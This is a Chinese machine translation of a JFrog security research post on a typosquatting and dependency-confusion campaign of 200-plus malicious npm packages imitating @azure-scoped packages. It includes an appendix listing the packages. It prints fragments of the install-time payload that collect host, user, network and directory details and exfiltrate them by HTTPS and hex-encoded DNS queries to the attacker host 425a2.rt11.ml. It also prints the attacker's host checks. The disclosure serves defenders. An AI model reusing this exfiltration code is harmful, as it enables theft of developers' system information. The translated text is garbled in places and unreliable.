大规模的npm攻击用恶意包攻击Azure开发人员
JFrog安全研究团队发现了数百个恶意包,旨在通过大规模的排字攻击窃取PII

JFrog安全研究团队用我们的自动化工具持续监视流行的开放源码软件(OSS)存储库,以避免潜在的风险软件供应链安全威胁,并报告任何漏洞或恶意包发现给存储库维护者和更广泛的社区。
两天前,我们的几个自动化分析器开始对npm注册表中的一组包发出警报。这组特殊的包在几天内稳步增长,从大约50个包增加到200多个包裹(截至3月21日)。
在手动检查了其中的一些包后,很明显,这是针对整个@azureNPM范围,攻击者使用自动脚本创建帐户并上传覆盖该范围的恶意包。目前,观察到这些包的恶意负载是PII(个人身份信息)窃取者。
整个恶意包集被泄露给npm的维护者,这些包很快就被删除了。
谁是目标?
攻击者的目标似乎是所有使用包的npm开发人员@azure范围,带有排字攻击。
除了@azure范围内,来自以下范围的几个包也是目标-@azure-rest,@azure-tests,@azure-tools而且@cadl-lang。
由于这组合法的软件包每周被下载数千万次,一些开发人员很有可能会被拼写错误攻击成功骗过。
软件供应链采用什么攻击方法?
攻击的方法是打字攻击者只是创建一个新的(恶意的)包,与现有的@azure作用域包同名,但去掉作用域名。
例如,这是一个合法的azure npm包-

而它的恶意对手-

这样做的(至少)218个包裹。公开的包的完整列表发布在JFrog的安全研究网站并作为本帖的附录。
攻击者依赖的事实是,一些开发人员可能会在安装包时错误地省略@azure前缀。例如,跑步npm安装core-tracing错误,而不是正确的命令-npm安装@azure / core-tracing
除了typposquatting感染方法外,所有恶意包的版本号都非常高(例如99.10.9),这表明存在依赖混淆攻击。一种可能的猜测是,攻击者试图针对开发人员和运行在微软/Azure内部网络中的机器,此外还针对普通的npm用户。如前所述,我们没有对这个攻击向量进行研究,因此这只是一个猜想。
使用自动化模糊攻击源
由于攻击的规模,很明显,攻击者使用脚本上传恶意包。攻击者还试图隐藏所有这些恶意包都是由同一作者上传的事实,通过为每个上传的恶意包创建一个唯一的用户(使用随机生成的名称)-

恶意有效载荷的技术分析
如前所述,这些包的恶意有效载荷是PII偷窃/侦察有效载荷。
恶意代码在安装软件包后自动运行,并泄漏以下详细信息
- 以下目录的目录列表(非递归)-
- C: \
- D: \
- /
- /家庭
- 用户的用户名
- 用户的主目录
- 当前工作目录
- 所有网口的IP地址
- 已配置的DNS服务器IP地址
- (成功)攻击包的名称
const td = {p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo()。用户名、dns: JSON.stringify (dns.getServers ()), ip: JSON.stringify (gethttpips ()), dirs: JSON.stringify (getfile([“C: \ \”、“D :\\","/","/ 家”)),}
这些细节是通过两个泄漏向量泄漏的
- HTTPS POST到硬编码的主机名“425a2.rt11.ml”。
- DNS查询到“
.425a2.rt11.”其中 替换为泄漏的详细信息,并以十六进制字符串-连接在一起
Var hostname = "425a2.rt11.ml";query_string = toHex (pkg.hn) +“。”+ toHex (pkg.p) +“。”+ toHex (pkg.un) +“。”+ getPathChunks (pkg.c) +“。”+ getIps() +“。”+主机名;...dns.lookup (query_string)
我们怀疑这个恶意的有效载荷要么是为了对易受攻击的目标进行初始侦察(在发送更大的有效载荷之前),要么是为了对Azure用户(可能还有微软开发人员)进行漏洞赏金狩猎。
该代码还包含一组笨拙的测试,大概是为了确保恶意负载不会在攻击者自己的机器上运行:
函数isValid(hostname, path, username, dirs) {if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path. startswith ('D:\\TRANSFER\\')){返回false;}……否则if (hostname == 'lili-pc'){返回false;}……否则if (hostname == 'aws-7grara913oid5jsexgkq'){返回false;}……否则if (hostname == 'instance'){返回false;}……返回true;}
我正在使用JFrog x射线,我受到保护了吗?
JFrog x光用户不会受到这种攻击。
JFrog安全研究团队将所有经过验证的发现,如发现的恶意包和开源包中的零日漏洞,添加到我们的Xray数据库中,然后再公开披露。任何使用这些恶意包的行为都会在Xray中被标记为漏洞。
和往常一样,在Xray中标记的任何恶意依赖都应该立即删除。
除了通过Xray为检测到的恶意包提供保护外,JFrog Artifactory还自动保护用户免受依赖混淆攻击优先解决特性,因为托管在已启用此特性的存储库上的工件将不会在公共存储库中查找。
我是一个使用目标包的Azure开发人员,我应该怎么做?
确保您安装的包是合法的,检查它们的名称以@azure*范围开头。
可以这样做,例如,将您的当前目录更改为您想要测试的npm项目,并运行以下命令-
NPM列表| grep -f packages.txt
其中“packages.txt”包含受影响包的完整列表(参见附录A)。
如果任何返回的结果都不是以“@azure*”范围开头的,那么您可能已经受到了此攻击的影响。
结论
幸运的是,由于这些软件包很快就被发现并公开了(大约在发布后2天),所以似乎没有大量安装。软件包下载数量参差不齐,但平均每个软件包大约有50次下载。
很明显,npm的维护者非常重视安全性。这在他们的行动中多次得到了证明,例如抢先阻止特定包名,以避免未来的拼写错误和他们的流行的包维护程序的双因素身份验证需求。
然而,由于供应链攻击的迅速增加,特别是通过npm和PyPI包存储库,似乎应该增加更多的审查和缓解措施。例如,在npm用户创建上添加验证码机制将不允许攻击者轻易地创建任意数量的用户,恶意包可以从中上传,这使得攻击识别更容易(以及基于上传帐户的启发式阻止包)。除此之外,基于SAST或DAST技术(最好两者都是)的安全软件管理过程中自动包过滤的需求可能是不可避免的。
除了Xray提供的安全功能,JFrog还提供其他功能几个开源工具这可以帮助识别恶意的NPM包。这些工具既可以集成到您当前的CI/CD管道中,也可以作为独立的实用程序运行。
保持最新的JFrog安全研究
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究网站在推特上@JFrogSecurity。
附录A -检测到的恶意包
| agrifood-farming ai-anomaly-detector ai-document-translator arm-advisor arm-analysisservices arm-apimanagement arm-appconfiguration arm-appinsights arm-appplatform arm-appservice arm-attestation arm-authorization arm-avs arm-azurestack arm-azurestackhci arm-batch arm-billing arm-botservice arm-cdn arm-changeanalysis arm-cognitiveservices arm-commerce arm-commitmentplans arm-communication arm-compute arm-confluent arm-consumption arm-containerinstance arm-containerregistry arm-containerservice arm-cosmosdb arm-customerinsights arm-databox arm-databoxedge arm-databricks arm-datacatalog arm-datadog arm-datafactory arm-datalake-analytics arm-datamigration arm-deploymentmanager arm-desktopvirtualization arm-deviceprovisioningservices arm-devspaces arm-devtestlabs arm-digitaltwins arm-dns arm-dnsresolver arm-domainservices arm-eventgrid arm-eventhub arm-extendedlocation arm-features arm-frontdoor Arm-hanaonazure arm-hdinsight |
arm-healthbot arm-healthcareapis arm-hybridcompute arm-hybridkubernetes arm-imagebuilder arm-iotcentral arm-iothub arm-keyvault arm-kubernetesconfiguration arm-labservices arm-links arm-loadtestservice 钳制 arm-logic arm-machinelearningcompute arm-machinelearningexperimentation arm-machinelearningservices arm-managedapplications arm-managementgroups arm-managementpartner arm-maps arm-mariadb arm-marketplaceordering arm-mediaservices arm-migrate arm-mixedreality arm-mobilenetwork arm-monitor arm-msi arm-mysql arm-netapp arm-network arm-notificationhubs arm-oep arm-operationalinsights 手臂运作 arm-orbital arm-peering arm规则 arm-portal arm-postgresql arm-postgresql-flexible arm-powerbidedicated arm-powerbiembedded arm-privatedns arm-purview arm-quota arm-recoveryservices arm-recoveryservices-siterecovery arm-recoveryservicesbackup arm-rediscache arm-redisenterprisecache arm-relay arm-reservations arm-resourcegraph |
arm-resourcehealth arm-resourcemover arm-2022世界杯阿根廷预选赛赛程resources arm-2022世界杯阿根廷预选赛赛程resources-subscriptions arm-search arm-security arm-serialconsole arm-servicebus arm-servicefabric arm-servicefabricmesh arm-servicemap arm-signalr arm-sql arm-sqlvirtualmachine arm-storage arm-storagecache arm-storageimportexport arm-storagesync arm-storsimple1200series arm-storsimple8000series arm-streamanalytics arm-subscriptions arm支持 arm-synapse arm-templatespecs arm-timeseriesinsights arm-trafficmanager arm-videoanalyzer arm-visualstudio arm-vmwarecloudsimple arm-webpubsub arm-webservices arm-workspaces cadl-autorest cadl-azure-core cadl-azure-resource-manager cadl-playground cadl-providerhub cadl-providerhub-controller cadl-providerhub-templates-contoso cadl-samples codemodel communication-chat 通信 communication-identity communication-network-traversal communication-phone-numbers communication-short-codes communication-sms confidential-ledger core-amqp core-asynciterator-polyfill core-auth core-client-1 核心的http |
core-http-compat core-lro core-paging core-rest-pipeline core-tracing 核心xml 重复数据删除 digital-twins-core dll-docs dtdl-parser eslint-config-cadl eslint-plugin-azure-sdk eventhubs-checkpointstore-blob eventhubs-checkpointstore-table extension-base helloworld123ccwq identity-cache-persistence identity-vscode iot-device-update iot-device-update-1 iot-modelsrepository keyvault-admin mixed-reality-authentication mixed-reality-remote-rendering modelerfour monitor-opentelemetry-exporter oai2-to-oai3 openapi3 opentelemetry-instrumentation-azure-sdk pnpmfile.js prettier-plugin-cadl purview-administration purview-catalog purview-scanning quantum-jobs storage-blob-changefeed storage-file-datalake storage-queue synapse-access-control synapse-artifacts synapse-managed-private-endpoints synapse-monitoring synapse-spark test-public-packages test-utils-perf testing-recorder-new testmodeler video-analyzer-edge videojs-wistia web-pubsub web-pubsub-express |